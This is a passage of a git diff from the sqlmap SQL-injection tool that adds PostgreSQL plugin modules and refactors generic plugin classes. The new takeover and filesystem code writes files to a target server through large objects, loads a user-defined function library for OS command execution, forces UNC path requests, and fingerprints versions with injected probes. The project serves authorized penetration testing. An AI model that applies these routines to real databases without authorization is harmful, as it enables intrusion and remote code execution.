GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def __init__(self): + GenericEnumeration.__init__(self, "PostgreSQL") diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py new file mode 100644 index 000000000..5abb43c3a --- /dev/null +++ b/plugins/dbms/postgresql/filesystem.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import os + +from lib.core.common import randomInt +from lib.core.data import logger +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.request import inject + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def __init__(self): + self.oid = None + + GenericFilesystem.__init__(self) + + def unionReadFile(self, rFile): + errMsg = "PostgreSQL does not support file reading with UNION " + errMsg += "query SQL injection technique" + raise sqlmapUnsupportedFeatureException, errMsg + + def stackedReadFile(self, rFile): + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + self.initEnv() + + return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread") + + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): + errMsg = "PostgreSQL does not support file upload with UNION " + errMsg += "query SQL injection technique" + raise sqlmapUnsupportedFeatureException, errMsg + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + wFileSize = os.path.getsize(wFile) + + if wFileSize > 8192: + errMsg = "on PostgreSQL it is not possible to write files " + errMsg += "bigger than 8192 bytes at the moment" + raise sqlmapUnsupportedFeatureException, errMsg + + self.oid = randomInt() + + debugMsg = "creating a support table to write the base64 " + debugMsg += "encoded file to" + logger.debug(debugMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "text") + + logger.debug("encoding file to its base64 string value") + fcEncodedList = self.fileEncode(wFile, "base64", False) + + debugMsg = "forging SQL statements to write the base64 " + debugMsg += "encoded file to the support table" + logger.debug(debugMsg) + + sqlQueries = self.fileToSqlQueries(fcEncodedList) + + logger.debug("inserting the base64 encoded file to the support table") + + for sqlQuery in sqlQueries: + inject.goStacked(sqlQuery) + + debugMsg = "create a new OID for a large object, it implicitly " + debugMsg += "adds an entry in the large objects system table" + logger.debug(debugMsg) + + # References: + # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html + # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) + inject.goStacked("SELECT lo_create(%d)" % self.oid) + + debugMsg = "updating the system large objects table assigning to " + debugMsg += "the just created OID the binary (base64 decoded) UDF " + debugMsg += "as data" + logger.debug(debugMsg) + + # Refereces: + # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html + # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql + # + # NOTE: From PostgreSQL site: + # + # "The data stored in the large object will never be more than + # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or + # typically 2 Kb" + # + # As a matter of facts it was possible to store correctly a file + # large 13776 bytes, the problem arises at next step (lo_export()) + inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) + + debugMsg = "exporting the OID %s file content to " % fileType + debugMsg += "file '%s'" % dFile + logger.debug(debugMsg) + + # NOTE: lo_export() exports up to only 8192 bytes of the file + # (pg_largeobject 'data' field) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) + + if confirm: + self.askCheckWrittenFile(wFile, dFile, fileType) + + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) \ No newline at end of file diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py new file mode 100644 index 000000000..079afe64f --- /dev/null +++ b/plugins/dbms/postgresql/fingerprint.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.session import setDbms +from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PGSQL_SYSTEM_DBS +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self) + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += "PostgreSQL" + return value + + actVer = formatDBMSfp() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) + """ + + if conf.dbms in PGSQL_ALIASES: + setDbms("PostgreSQL") + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "testing PostgreSQL" + logger.info(infoMsg) + + randInt = str(randomInt(1)) + + payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt)) + result = Request.queryPage(payload) + + if result: + infoMsg = "confirming PostgreSQL" + logger.info(infoMsg) + + payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not PostgreSQL" + logger.warn(warnMsg) + + return False + + setDbms("PostgreSQL") + + self.getBanner() + + if not conf.extensiveFp: + return True + + if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2": + kb.dbmsVersion = [">= 8.4.0"] + elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ): + kb.dbmsVersion = [">= 8.3.0", "< 8.4"] + elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2): + kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"] + elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9": + kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] + elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3": + kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] + elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False): + kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] + elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p": + kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] + elif inject.getValue("BIT_LENGTH(1)") == "8": + kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] + elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a": + kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] + elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8": + kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] + elif inject.getValue("MAX('a')") == "a": + kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] + elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)): + kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] + elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2": + kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] + elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s": + kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] + else: + kb.dbmsVersion = ["< 6.2.0"] + + return True + else: + warnMsg = "the back-end DMBS is not PostgreSQL" + logger.warn(warnMsg) + + return False + + def checkDbmsOs(self, detailed=False): + if kb.os: + return + + infoMsg = "fingerprinting the back-end DBMS operating system" + logger.info(infoMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)") + inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) + + # Windows executables should always have ' Visual C++' or ' mingw' + # patterns within the banner + osWindows = ( " Visual C++", "mingw" ) + + for osPattern in osWindows: + query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%" + osPattern + "%')>0" + query = agent.forgeCaseStatement(query) + + if inject.getValue(query, charsetType=1) == "1": + kb.os = "Windows" + + break + + if kb.os is None: + kb.os = "Linux" + + infoMsg = "the back-end DBMS operating system is %s" % kb.os + logger.info(infoMsg) + + self.cleanup(onlyFileTbl=True) + + def forceDbmsEnum(self): + if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": + conf.db = "public" + + warnMsg = "on PostgreSQL it is only possible to enumerate " + warnMsg += "on the current schema and on system databases, " + warnMsg += "sqlmap is going to use 'public' schema as " + warnMsg += "database name" + logger.warn(warnMsg) diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py new file mode 100644 index 000000000..ad2304552 --- /dev/null +++ b/plugins/dbms/postgresql/syntax.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.exception import sqlmapSyntaxException +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + def __init__(self): + GenericSyntax.__init__(self) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + #unescaped = "(" + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + #unescaped += ")" + expression = expression.replace(old, unescaped) + else: + expression = "||".join("CHR(%d)" % ord(c) for c in expression) + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHR(", "").replace(")", "") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py new file mode 100644 index 000000000..174886631 --- /dev/null +++ b/plugins/dbms/postgresql/takeover.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.request import inject + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + GenericTakeover.__init__(self) + + def udfSetRemotePath(self): + # On Windows + if kb.os == "Windows": + # The DLL can be in any folder where postgres user has + # read/write/execute access is valid + # NOTE: by not specifing any path, it will save into the + # data directory, on PostgreSQL 8.3 it is + # C:\Program Files\PostgreSQL\8.3\data. + self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + # On Linux + else: + # The SO can be in any folder where postgres user has + # read/write/execute access is valid + self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + def udfSetLocalPaths(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) + + self.getVersionFromBanner() + + banVer = kb.bannerFp["dbmsVersion"] + + if banVer >= "8.4": + majorVer = "8.4" + elif banVer >= "8.3": + majorVer = "8.3" + elif banVer >= "8.2": + majorVer = "8.2" + else: + errMsg = "unsupported feature on versions of PostgreSQL before 8.2" + raise sqlmapUnsupportedFeatureException, errMsg + + if kb.os == "Windows": + self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer + self.udfSharedLibExt = "dll" + else: + self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer + self.udfSharedLibExt = "so" + + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + inp = ", ".join(i for i in inpRet["input"]) + ret = inpRet["return"] + + # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) + + self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) + + def uncPathRequest(self): + self.createSupportTbl(self.fileTblName, self.tblField, "text") + inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) + self.cleanup(onlyFileTbl=True) diff --git a/plugins/dbms/sqlite.py b/plugins/dbms/sqlite/__init__.py similarity index 100% rename from plugins/dbms/sqlite.py rename to plugins/dbms/sqlite/__init__.py diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 348d9ab16..7d3f4a51a 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -50,7 +50,6 @@ from lib.techniques.outband.stacked import stackedTest class Enumeration: """ This class defines generic enumeration functionalities for plugins. - """ def __init__(self, dbms): @@ -68,30 +67,6 @@ class Enumeration: temp.inference = queries[dbms].inference - def getVersionFromBanner(self): - if "dbmsVersion" in kb.bannerFp: - return - - infoMsg = "detecting back-end DBMS version from its banner" - logger.info(infoMsg) - - if kb.dbms == "MySQL": - first, last = 1, 6 - - elif kb.dbms == "PostgreSQL": - first, last = 12, 6 - - elif kb.dbms == "Microsoft SQL Server": - first, last = 29, 9 - - else: - raise sqlmapUnsupportedFeatureException, "unsupported DBMS" - - query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last) - - kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False) - kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "") - def getBanner(self): if not conf.getBanner: return diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index dbe4ae861..5e020b388 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -31,6 +31,7 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger +from lib.core.exception import sqlmapUndefinedMethod from lib.request import inject from lib.techniques.outband.stacked import stackedTest @@ -250,6 +251,26 @@ class Filesystem: if not output or output in ("y", "Y"): self.__checkWrittenFile(wFile, dFile, fileType) + def unionReadFile(self, rFile): + errMsg = "'unionReadFile' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + def stackedReadFile(self, rFile): + errMsg = "'stackedReadFile' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): + errMsg = "'unionWriteFile' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + errMsg = "'stackedWriteFile' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + def readFile(self, rFile): fileContent = None diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index ea8d463d5..4eee25979 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -29,17 +29,8 @@ class Fingerprint: This class defines generic fingerprint functionalities for plugins. """ - @staticmethod - def unescape(expression, quote=True): - errMsg = "'unescape' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg - - @staticmethod - def escape(expression): - errMsg = "'escape' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + def __init__(self): + pass def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " @@ -51,5 +42,10 @@ class Fingerprint: errMsg += "into the specific DBMS plugin" raise sqlmapUndefinedMethod, errMsg + def checkDbmsOs(self, detailed=False): + errMsg = "'checkDbmsOs' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + def forceDbmsEnum(self): pass diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 6b7fc5bde..8d265e5f5 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -22,7 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ -import os import re from lib.core.common import normalizePath @@ -32,6 +31,8 @@ from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import queries +from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setRemoteTempPath from lib.request import inject from lib.techniques.outband.stacked import stackedTest @@ -42,6 +43,9 @@ class Miscellaneous: This class defines miscellaneous functionalities for plugins. """ + def __init__(self): + pass + def getRemoteTempPath(self): if not conf.tmpPath: if kb.os == "Windows": @@ -73,6 +77,30 @@ class Miscellaneous: setRemoteTempPath() + def getVersionFromBanner(self): + if "dbmsVersion" in kb.bannerFp: + return + + infoMsg = "detecting back-end DBMS version from its banner" + logger.info(infoMsg) + + if kb.dbms == "MySQL": + first, last = 1, 6 + + elif kb.dbms == "PostgreSQL": + first, last = 12, 6 + + elif kb.dbms == "Microsoft SQL Server": + first, last = 29, 9 + + else: + raise sqlmapUnsupportedFeatureException, "unsupported DBMS" + + query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last) + + kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False) + kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "") + def delRemoteFile(self, tempFile, doubleslash=False): self.checkDbmsOs() diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py new file mode 100644 index 000000000..4a43a67bc --- /dev/null +++ b/plugins/generic/syntax.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 021101301 USA +""" + +from lib.core.exception import sqlmapUndefinedMethod + +class Syntax: + """ + This class defines generic syntax functionalities for plugins. + """ + + def __init__(self): + pass + + @staticmethod + def unescape(expression, quote=True): + errMsg = "'unescape' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + @staticmethod + def escape(expression): + errMsg = "'escape' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index d60abb791..36d662e72 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -22,38 +22,29 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ -import os -import re - -from lib.core.agent import agent -from lib.core.common import decloakToNamedTemporaryFile -from lib.core.common import fileToStr -from lib.core.common import getDirs -from lib.core.common import getDocRoot -from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.data import paths +from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapNotVulnerableException +from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUnsupportedDBMSException -from lib.core.shell import autoCompletion -from lib.request.connect import Connect as Request from lib.takeover.abstraction import Abstraction from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry from lib.techniques.outband.stacked import stackedTest -class Takeover(Abstraction, Metasploit, Registry): +from plugins.generic.misc import Miscellaneous + +class Takeover(Abstraction, Metasploit, Registry, Miscellaneous): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): - self.cmdTblName = "sqlmapoutput" - self.tblField = "data" + self.cmdTblName = "sqlmapoutput" + self.tblField = "data" Abstraction.__init__(self) @@ -268,6 +259,11 @@ class Takeover(Abstraction, Metasploit, Registry): self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() + def uncPathRequest(self): + errMsg = "'uncPathRequest' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + def __regInit(self): stackedTest()